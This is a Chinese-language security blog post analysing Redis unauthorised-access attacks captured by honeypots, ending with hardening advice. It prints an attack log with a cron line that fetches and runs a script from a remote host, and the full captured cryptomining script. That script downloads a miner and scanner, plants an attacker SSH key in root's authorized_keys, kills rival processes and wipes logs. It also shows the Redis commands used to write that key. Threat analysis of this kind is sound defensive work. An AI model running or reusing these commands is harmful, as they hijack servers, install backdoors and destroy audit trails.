近期,分布式蜜罐再次捕捉到一些利用REDIS 未授权漏洞进行入侵的行为.
为了理解问题的严重性,我们设置了可公开使用的Redis服务器作为蜜罐,记录流量并对其进行分析。在不到24小时内,我们的服务器开始接受到大批的恶意攻击 - 漏洞扫描,简单的加密挖掘感染和加密挖掘蠕虫,就像RedisWannaMine 那样。
一 .利用原理分析
攻击原理非常简单 - 攻击者在内存中设置一个键/值对,然后将其保存到磁盘中的文件中,该位置将强制文件运行(例如/ etc / crontabs,/ var / spool / cron / crontab等)。
- 49.234.81.16:53038 已经连接
- ping
- config set
- flushall
- config set
- set 1 */1 * * * * cur -fsSL http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh |sh
- config set
- save
- config set
- save
- config set
- save
- config set
- config set
- flushall
攻击者先尝试对不设置密码的redis或者若密码的redis服务器进行连接,然后执行脚本,创建定时任务.
- #!/bin/sh
- setenforce 0 2>dev/null
- echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
- sync && echo 3 >/proc/sys/vm/drop_caches
- crondir='/var/spool/cron/'"$USER"
- cont=`cat ${crondir}`
- ssht=`cat /root/.ssh/authorized_keys`
- echo 1 > /etc/sysupdates
- rtdir="/etc/sysupdates"
- bbdir="/usr/bin/curl"
- bbdira="/usr/bin/cur"
- ccdir="/usr/bin/wget"
- ccdira="/usr/bin/wge"
- mv /usr/bin/wget /usr/bin/get
- mv /usr/bin/xget /usr/bin/get
- mv /usr/bin/get /usr/bin/wge
- mv /usr/bin/curl /usr/bin/url
- mv /usr/bin/xurl /usr/bin/url
- mv /usr/bin/url /usr/bin/cur
- miner_url="https://de.gsearch.com.de/api/sysupdate"
- miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
- miner_size="854364"
- sh_url="https://de.gsearch.com.de/api/update.sh"
- sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
- config_url="https://de.gsearch.com.de/api/config.json"
- config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
- config_size="4954"
- scan_url="https://de.gsearch.com.de/api/networkservice"
- scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
- scan_size="2584072"
- watchdog_url="https://de.gsearch.com.de/api/sysguard"
- watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
- watchdog_size="1929480"
-
- kill_miner_proc()
- {
- ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
- ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
- ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
- ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
- ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
- ps ax|grep -o './[0-9]* -c'| xargs pkill -f
- pkill -f biosetjenkins
- pkill -f Loopback
- pkill -f apaceha
- pkill -f cryptonight
- pkill -f stratum
- pkill -f mixnerdx
- pkill -f performedl
- pkill -f JnKihGjn
- pkill -f irqba2anc1
- pkill -f irqba5xnc1
- pkill -f irqbnc1
- pkill -f ir29xc1
- pkill -f conns
- pkill -f irqbalance
- pkill -f crypto-pool
- pkill -f minexmr
- pkill -f XJnRj
- pkill -f mgwsl
- pkill -f pythno
- pkill -f jweri
- pkill -f lx26
- pkill -f NXLAi
- pkill -f BI5zj
- pkill -f askdljlqw
- pkill -f minerd
- pkill -f minergate
- pkill -f Guard.sh
- pkill -f ysaydh
- pkill -f bonns
- pkill -f donns
- pkill -f kxjd
- pkill -f Duck.sh
- pkill -f bonn.sh
- pkill -f conn.sh
- pkill -f kworker34
- pkill -f kw.sh
- pkill -f pro.sh
- pkill -f polkitd
- pkill -f acpid
- pkill -f icb5o
- pkill -f nopxi
- pkill -f irqbalanc1
- pkill -f minerd
- pkill -f i586
- pkill -f gddr
- pkill -f mstxmr
- pkill -f ddg.2011
- pkill -f wnTKYg
- pkill -f deamon
- pkill -f disk_genius
- pkill -f sourplum
- pkill -f polkitd
- pkill -f nanoWatch
- pkill -f zigw
- pkill -f devtool
- pkill -f systemctI
- pkill -f WmiPrwSe
- pkill -f sysguard
- pkill -f sysupdate
- pkill -f networkservice
- crontab -r
- rm -rf /var/spool/cron/*
- }
- downloads()
- {
- if [ -f "/usr/bin/curl" ]
- then
- echo $1,$2
- http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
- if [ "$http_code" -eq "200" ]
- then
- curl --connect-timeout 10 --retry 100 $1 > $2
- elif [ "$http_code" -eq "405" ]
- then
- curl --connect-timeout 10 --retry 100 $1 > $2
- else
- curl --connect-timeout 10 --retry 100 $3 > $2
- fi
- elif [ -f "/usr/bin/cur" ]
- then
- http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
- if [ "$http_code" -eq "200" ]
- then
- cur --connect-timeout 10 --retry 100 $1 > $2
- elif [ "$http_code" -eq "405" ]
- then
- cur --connect-timeout 10 --retry 100 $1 > $2
- else
- cur --connect-timeout 10 --retry 100 $3 > $2
- fi
- elif [ -f "/usr/bin/wget" ]
- then
- wget --timeout=10 --tries=100 -O $2 $1
- if [ $? -ne 0 ]
- then
- wget --timeout=10 --tries=100 -O $2 $3
- fi
- elif [ -f "/usr/bin/wge" ]
- then
- wge --timeout=10 --tries=100 -O $2 $1
- if [ $? -eq 0 ]
- then
- wge --timeout=10 --tries=100 -O $2 $3
- fi
- fi
- }
-
- kill_sus_proc()
- {
- ps axf -o "pid"|while read procid
- do
- ls -l /proc/$procid/exe | grep /tmp
- if [ $? -ne 1 ]
- then
- cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
- if [ $? -ne 0 ]
- then
- kill -9 $procid
- else
- echo "don't kill"
- fi
- fi
- done
- ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
- do
- cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
- if [ $? -ne 0 ]
- then
- kill -9 $procid
- else
- echo "don't kill"
- fi
- done
- }
-
- kill_miner_proc
- kill_sus_proc
-
- if [ -f "$rtdir" ]
- then
- echo "i am root"
- echo "goto 1" >> /etc/sysupdate
- chattr -i /etc/sysupdate*
- chattr -i /etc/config.json*
- chattr -i /etc/update.sh*
- chattr -i /root/.ssh/authorized_keys*
- chattr -i /etc/networkservice
- if [ ! -f "/usr/bin/crontab" ]
- then
- echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
- else
- [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
- fi
- chmod 700 /root/.ssh/
- echo >> /root/.ssh/authorized_keys
- chmod 600 root/.ssh/authorized_keys
- echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
-
-
- cfg="/etc/config.json"
- file="/etc/sysupdate"
-
- if [-f "/etc/config.json" ]
- then
- filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
- if [ "$filesize_config" -ne "$config_size" ]
- then
- pkill -f sysupdate
- rm /etc/config.json
- downloads $config_url /etc/config.json $config_url_backup
- else
- echo "no need download"
- fi
- else
- downloads $config_url /etc/config.json $config_url_backup
- fi
-
- if [ -f "/etc/sysupdate" ]
- then
- filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
- if [ "$filesize1" -ne "$miner_size" ]
- then
- pkill -f sysupdate
- rm /etc/sysupdate
- downloads $miner_url /etc/sysupdate $miner_url_backup
- else
- echo "not need download"
- fi
- else
- downloads $miner_url /etc/sysupdate $miner_url_backup
- fi
-
- if [ -f "/etc/sysguard" ]
- then
- filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
- if [ "$filesize1" -ne "$watchdog_size" ]
- then
- pkill -f sysguard
- rm /etc/sysguard
- downloads $watchdog_url /etc/sysguard $watchdog_url_backup
- else
- echo "not need download"
- fi
- else
- downloads $watchdog_url /etc/sysguard $watchdog_url_backup
- fi
-
- downloads $sh_url /etc/update.sh $sh_url_backup
-
- if [ -f "/etc/networkservice" ]
- then
- filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
- if [ "$filesize2" -ne "$scan_size" ]
- then
- pkill -f networkservice
- rm /etc/networkservice
- downloads$scan_url /etc/networkservice $scan_url_backup
- else
- echo "not need download"
- fi
- else
- downloads $scan_url /etc/networkservice $scan_url_backup
- fi
-
- chmod 777 /etc/sysupdate
- ps -fe|grep sysupdate |grep -v grep
- if [ $? -ne 0 ]
- then
- cd /etc
- echo "not root runing"
- sleep 5s
- ./sysupdate &
- else
- echo "root runing....."
- fi
- chmod 777 /etc/networkservice
- ps -fe|grep networkservice |grep -v grep
- if [ $? -ne 0 ]
- then
- cd /etc
- echo "not roots runing"
- sleep 5s
- ./networkservice &
- else
- echo "roots runing....."
- fi
- chmod 777 /etc/sysguard
- ps -fe|grep sysguard |grep -v grep
- if [ $? -ne 0 ]
- then
- echo "not tmps runing"
- cd /etc
- chmod 777 sysguard
- sleep 5s
- ./sysguard &
- else
- echo "roots runing....."
- fi
-
-
- chmod 777 /etc/sysupdate
- chattr +i /etc/sysupdate
- chmod 777 /etc/networkservice
- chattr +i /etc/networkservice
- chmod 777 /etc/config.json
- chattr +i /etc/config.json
- chmod 777 /etc/update.sh
- chattr +i /etc/update.sh
- chmod 777 /root/.ssh/authorized_keys
- chattr +i /root/.ssh/authorized_keys
- else
- echo "goto 1" > /tmp/sysupdates
- chattr -i /tmp/sysupdate*
- chattr -i /tmp/networkservice
- chattr -i /tmp/config.json*
- chattr -i /tmp/update.sh*
-
- if [ ! -f "/usr/bin/crontab" ]
- then
- echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
- else
- [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab -
- fi
-
- if [ -f "/tmp/config.json" ]
- then
- filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
- if [ "$filesize1" -ne "$config_size" ]
- then
- pkill -f sysupdate
- rm /tmp/config.json
- downloads$config_url /tmp/config.json $config_url_backup
- else
- echo "no need download"
- fi
- else
- downloads $config_url /tmp/config.json $config_url_backup
- fi
-
- if [ -f "/tmp/sysupdate" ]
- then
- filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
- if [ "$filesize1" -ne "$miner_size" ]
- then
- pkill -f sysupdate
- rm /tmp/sysupdate
- downloads $miner_url /tmp/sysupdate $miner_url_backup
- else
- echo "no need download"
- fi
- else
- downloads $miner_url /tmp/sysupdate $miner_url_backup
- fi
-
- if [ -f "/tmp/sysguard" ]
- then
- filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
- if [ "$filesize1" -ne "$watchdog_size" ]
- then
- pkill -f sysguard
- rm /tmp/sysguard
- downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
- else
- echo "not need download"
- fi
- else
- downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
- fi
-
- echo "i am here"
- downloads $sh_url /tmp/update.sh $sh_url_backup
-
- if [ -f "/tmp/networkservice" ]
- then
- filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
- if [ "$filesize2" -ne "$scan_size" ]
- then
- pkill -f networkservice
- rm /tmp/networkservice
- downloads $scan_url /tmp/networkservice $scan_url_backup
- else
- echo "no need download"
- fi
- else
- downloads $scan_url /tmp/networkservice $scan_url_backup
- fi
-
- ps -fe|grep sysupdate |grep -v grep
- if [ $? -ne 0 ]
- then
- echo "not tmp runing"
- cd /tmp
- chmod 777 sysupdate
- sleep 5s
- ./sysupdate &
- else
- echo "tmp runing....."
- fi
- ps -fe|grep networkservice |grep -v grep
- if [ $? -ne 0 ]
- then
- echo "not tmps runing"
- cd /tmp
- chmod 777 networkservice
- sleep 5s
- ./networkservice &
- else
- echo "tmps runing....."
- fi
-
- ps -fe|grep sysguard |grep -v grep
- if [ $? -ne 0 ]
- then
- echo "not tmps runing"
- cd /tmp
- chmod 777 sysguard
- sleep 5s
- ./sysguard &
- else
- echo "tmps runing....."
- fi
-
- chmod 777 /tmp/sysupdate
- chattr +i /tmp/sysupdate
- chmod 777 /tmp/networkservice
- chattr +i /tmp/networkservice
- chmod 777 /tmp/sysguard
- chattr +i /tmp/sysguard
- chmod 777 /tmp/update.sh
- chattr +i /tmp/update.sh
- chmod 777 /tmp/config.json
- chattr +i /tmp/config.json
-
- fi
- iptables -F
- iptables -X
- iptables -A OUTPUT -p tcp --dport 3333 -j DROP
- iptables -A OUTPUT -p tcp --dport 5555 -j DROP
- iptables -A OUTPUT -p tcp --dport 7777 -j DROP
- iptables -A OUTPUT -p tcp --dport 9999 -j DROP
- iptables -I INPUT -s 43.245.222.57 -j DROP
- service iptables reload
- ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
- history -c
- echo > /var/spool/mail/root
- echo > /var/log/wtmp
- echo > /var/log/secure
- echo > /root/.bash_history
-
攻击者通常设置包含下载外部远程资源并运行它的命令的值。比如还可以添加SSH密钥,攻击者可以远程访问服务器并将其接管.
远程下载脚本更新.
直接查找别的挖矿进程并尝试结束他们.
利用cron设置定时任务,并利用authorized获得登陆权限 ,
是不是很有趣!
对外公开的蜜罐24小时内监测到90000多次的来自大量的IP针对redis服务的恶意尝试,利用的方式大同小异,首先连接后,利用通过ssh-keygen创建一对秘钥,再利用公钥生成攻击键值,(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt,
再配置Key到Redis中,cat foo.txt |redis-cli -h 117.20.**.**-x set bar
再通过Redis保存机制替换系统文件.
> config set dir /root/.sshOK
> config get dir1) "dir"2) "/root/.ssh"
> config set dbfilename "authorized_keys"OK
> save
> exit
二 .利用redis未授权漏洞入侵的一些必要的条件:
(1)需要开放的redis服务对外开放.Redis的密码不能过于复杂,或者没有密码;
(2)redis服务最好是以root用户运行,破坏力更强;
三redis未授权访问漏洞的危害
(1).redis里保存的数据泄露
(2).被提权后控制整个主机
四.如何防范redis未授权漏洞被利用
为了保护Redis服务器免受此类攻击的伤害,建议管理员永远不要将其服务器暴露给Internet,但如果需要,请应用身份验证机制以防止未经授权的访问。
另外,由于Redis不使用加密技术并以纯文本形式存储数据,因此您绝不应将敏感数据存储在这些服务器上。
防范的思路如下:
(1)Redis不要监听在危险IP上,如果有请加网络防火墙规则控制;
(2)Redis一定要增加密码限制,且绝对不能是弱口令;
(3)LINUX 系统下Redis尽量不要用Root用户身份来启动。Windows系统下不要以system权限运行